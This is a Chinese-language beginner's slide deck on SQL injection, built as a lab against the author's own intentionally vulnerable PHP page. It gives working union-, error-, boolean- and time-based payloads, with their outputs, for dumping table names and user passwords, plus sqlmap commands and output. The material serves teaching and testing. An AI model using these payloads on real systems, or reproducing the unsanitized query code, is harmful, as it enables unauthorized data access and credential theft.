Post on 21-Apr-2017
SQL Injection 幼幼班Hugo
2016/5/3
Wiki 定義
• SQL攻擊(SQL injection),簡稱隱碼攻擊,是發⽣生於應⽤用程式之資料庫層的安全漏洞。簡⽽而⾔言之,是在輸⼊入的字串之中夾帶SQL指令,在設計不良的程式當中忽略了檢查,那麼這些夾帶進去的指令就會被資料庫伺服器誤認為是正常的SQL指令⽽而執⾏行,因此遭到破壞或是⼊入侵。
⼀一個簡單的範例• 登⼊入驗證的SQL查詢代碼
• strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
• 惡意填⼊入
• userName = "1' OR '1'='1";
• passWord = "1' OR '1'='1";
• SQL查詢命令變成
• strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
• strSQL = "SELECT * FROM users;" (result=true 無帳號密碼,亦可登⼊入網站)
SQL Injection Lab• 實驗步驟
• 設定被攻擊系統
• Union Based Injection
• Error Based Injection
• Boolean Based Blind Injection
• Time Based Blind Injection
• 使⽤用 sqlmap 分析弱點
設定被攻擊系統
新增資料庫# mysql -uroot -pspy123 test < test.mysql# mysql -uroot -pspy123 test -e "show tables"+----------------+| Tables_in_test |+----------------+| fruit || user |+----------------+# mysql -uroot -pspy123 test -e "select * from fruit"+----+--------+| ID | Name |+----+--------+| 1 | apple || 2 | banana || 3 | cherry || 4 | date |+----+--------+# mysql -uroot -pspy123 test -e "select * from user"+----+------+------+| ID | Name | Pass |+----+------+------+| 1 | aaa | 111 || 2 | bbb | 222 || 3 | ccc | 333 |+----+------+------+
hackme.php (攻擊⺫⽬目標) <?php$id= $_GET["id"];
$link = mysql_connect('localhost', 'root', 'spy123');if (!$link) die('Not connected : ' . mysql_error());
$db_selected = mysql_select_db('test', $link);if (!$db_selected) die ('Can\'t use foo : ' . mysql_error());
$db_query = "SELECT * FROM fruit WHERE ID='$id' LIMIT 0,1;";echo $db_query . "<hr>";
$result = mysql_query($db_query);if (!$result) die('Invalid query: ' . mysql_error());
while ($row = mysql_fetch_assoc($result)) { echo "name: " . $row['Name'] . "<br>";}
mysql_free_result($result);?>
⼩小試⾝身⼿手• 正常查詢 (https://192.168.200.61/hackme.php?id=1)
• Input: 1
• Query: SELECT * FROM Test WHERE ID='1' LIMIT 0,1;
• Response: name: apple
• 測試 input query 是否使⽤用單引號 (SELECT * FROM Test WHERE ID='1' LIMIT 0,1;)
• input: 1 >> name: apple
• input: 1' >> Invalid query: You have an error in your SQL syntax...
• input: 1" >> name: apple
• input: 1' or '1'='1 >> name: apple
Union Based Injection
技術描述
• 使⽤用 UNION 將另⼀一段 SELECT 指令加掛在正常輸⼊入後⾯面,藉此窺探系統資訊。
• The attacker appends to the affected parameter a syntactically valid SQL statement starting with an UNION ALL SELECT.
推測表格欄位數⺫⽬目• 原 SQL Query 指令
• $db_query = "SELECT * FROM fruit WHERE ID='$id' LIMIT 0,1;";
• SQL Injection 發現 fruit table 有兩個欄位
• $db_query = "SELECT * FROM fruit WHERE ID='1' union select 1, 2-- -LIMIT 0,1;"; 被註解掉
找出系統資訊
Target Input Response
資料庫名稱 -1' union select 1,database()-- - name: test
系統版本 -1' union select 1,version()-- - name: 5.5.33a-MariaDB
資料庫使⽤用者 -1' union select 1,user()-- - name: root@localhost
SELECT * FROM fruit WHERE ID='-1' union select 1,version()-- -' LIMIT 0,1;
找出表格名稱• Input
• -1' union select 1,table_name from information_schema.tables where table_schema=database()--+
• SQL Query
• SELECT * FROM fruit WHERE ID='-1' union select 1,table_name from information_schema.tables where table_schema=database()-- ' LIMIT 0,1;
• Response
• name: fruit
• name: user
找出欄位名稱• Input
• -1' union Select 1,column_name from information_schema.columns where table_schema=database() and table_name='user'--+
• SQL Query
• SELECT * FROM fruit WHERE ID='-1' union Select 1,column_name from information_schema.columns where table_schema=database() and table_name='user'-- ' LIMIT 0,1;
• Response
• name: ID
• name: Name
• name: Pass
找出表格資料• Input
• -1' union Select 1,concat(ID,", ",Name,", ",Pass) from user--+
• SQL Query
• SELECT * FROM fruit WHERE ID='-1' union Select 1,concat(ID,", ",Name,", ",Pass) from user-- ' LIMIT 0,1;
• Response
• name: 1, aaa, 111
• name: 2, bbb, 222
• name: 3, ccc, 333
Error Based Injection
技術描述• 傳遞不乾淨的輸⼊入引發資料庫錯誤,藉由產⽣生的錯誤進⾏行窺探
• The attacker replaces or appends to the affected parameter a database-specific error message provoking statement and parses the HTTP response headers and body in search of DBMS error messages containing the injected pre-defined chain of characters and the subquery statement output within.
找出當前資料庫名稱• Input
• -1' and extractvalue(0x0a,concat(0x0a,(select database())))--+
• SQL Query
• SELECT * FROM fruit WHERE ID='-1' and extractvalue(0x0a,concat(0x0a,(select database())))-- ' LIMIT 0,1;
• Response
• Invalid query: XPATH syntax error: ' test'
找出當前表格名稱• Input
• -1' and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))--+
• SQL Query
• SELECT * FROM fruit WHERE ID='-1' and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))-- ' LIMIT 0,1;
• Response
• Invalid query: XPATH syntax error: ' fruit'
Boolean Based Blind Injection
技術描述• 有時候系統沒有那麼多的漏洞,能讓你⽤用⽅方便的⽅方式得到答案,只好跟被攻擊者玩 是/不是 (true/false) 的遊戲。
• 透過 substring(string_to_guess, N,1)=D 資料庫查詢指令,猜測 string_to_guess 的第 N 個字元是否為 D (⼗十進位表⽰示)
• The attacker replaces or appends to the affected parameter in the HTTP request, a syntatically valid SQL statement string containing a SELECT sub-statement, or any other SQL statement whose the user want to retrieve the output.
猜測資料庫版本• 猜測主版本為 4
• Input:1' and substring(version(),1,1)=4--+
• SQL Query:SELECT * FROM fruit WHERE ID='1' and substring(version(),1,1)=4-- ' LIMIT 0,1;
• Response:(沒輸出資料)
• 猜測主版本為 5
• Input:1' and substring(version(),1,1)=5--+
• SQL Query: SELECT * FROM fruit WHERE ID='1' and substring(version(),1,1)=5-- ' LIMIT 0,1;
• Response:name: apple
猜測表格名稱• Input
• 1' and ascii(substring((select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1))>64--+
• SQL Query
• SELECT * FROM fruit WHERE ID='1' and ascii(substring((select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1))>64-- ' LIMIT 0,1;
• Steps
• >64 (有反應); >112 (無反應); >95 (有反應); >110 (無反應); >103 (無反應); >100 (有反應); >102 (無反應); >101 (有反應); =102 (有反應)
• 表格第⼀一個字: “f" (⼗十進位=102),重複以上步驟猜出表格名稱: "fruit"
猜測欄位名稱• 猜 fruit table 第⼀一個欄位名稱的字⺟母
• 1' and ascii(substring((select concat(column_name) from information_schema.columns where table_name="fruit" limit 0,1),1,1))=73--+
• 1' and ascii(substring((select concat(column_name) from information_schema.columns where table_name="fruit" limit 0,1),2,1))=68--+
• fruit 表格第⼀一個欄位名稱: "ID" (⼗十進位=73, 68)
猜測欄位資料• 表格(fruit) 第⼆二筆資料 欄位 (Name) 的值
• 1' and ascii(substring((select concat(Name) from fruit limit 1,1),1,1))=98--+
• 1' and ascii(substring((select concat(Name) from fruit limit 1,1),2,1))=97--+
• 1' and ascii(substring((select concat(Name) from fruit limit 1,1),3,1))=110--+
• 1' and ascii(substring((select concat(Name) from fruit limit 1,1),4,1))=97--+
• 1' and ascii(substring((select concat(Name) from fruit limit 1,1),5,1))=110--+
• 1' and ascii(substring((select concat(Name) from fruit limit 1,1),6,1))=97--+
• 欄位值: “banana” (⼗十進位=98, 97, 100, 97, 110, 97)
Time Based Blind Injection
技術描述• 更糟的情形是⺫⽬目標連 是/不是 (true/false) 的遊戲都不跟你玩,只能透過延遲時間的⽅方式窺探系統資訊。
• Time-based techniques are often used to achieve tests when there is no other way to retrieve information from the database server. This kind of attack injects a SQL segment which contains specific DBMS function or heavy query that generates a time delay.
猜出 SQL Query 的⽅方式
• 註解⽅方式: --+
• SQL Query: SELECT * FROM fruit WHERE ID=‘1’
使⽤用 sqlmap 分析弱點
為什麼要⽤用 sqlmap• 攻擊者不知道 SQL Query 的⻑⾧長相
• 猜測系統漏洞通常耗時費⼒力
指令• # sqlmap -u "https://192.168.200.61/hackme.php?
id=1" --force-ssl --dbms=mysql -p id
• -u "https://192.168.200.61/..." ,要攻擊的URL
• --force-ssl ,強制使⽤用 SSL/HTTPS
• --dbms=mysql ,強制後端 DBMS 種類
• -p id ,要測試的參數
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 5529=5529 AND 'vZzG'='vZzG
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=1' AND (SELECT 9346 FROM(SELECT COUNT(*),CONCAT(0x71626a6a71,(SELECT (ELT(9346=9346,1))),0x71766b7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'eHGd'='eHGd
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=1' AND (SELECT * FROM (SELECT(SLEEP(5)))VcYN) AND 'yLgG'='yLgG
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x71626a6a71,0x78576371715058656452616346686d506c666643427a52514775456778504d50744e504951505a54,0x71766b7871)-- -
以上實驗純屬虛構如有雷同純屬巧合
Magic Quotes 被關閉了• 防⽌止 user 端送到 server 端的資料,會被惡意內容攻擊。
• 當 magic_quotes_gpc=on 時,$_GET、$_POST、$_COOKIE 等等從 user 端來的資料,如果含有單引號、雙引號、反斜線等內容,會⾃自動被加⼀一條反斜線在前⾯面,把該字元跳脫掉。
• echo.php <?php echo $_GET["input"]; ?>
• HTTP GET https://192.168.200.61/echo.php?input=hugo's secret
magic_quotes_gpc Response
On hugo\'s secret
Off hugo's secret
參考資料
• http://securityidiots.com/Web-Pentest/SQL-Injection
• https://github.com/sqlmapproject/sqlmap/wiki/Usage
• http://php.net/manual/en/security.magicquotes.disabling.php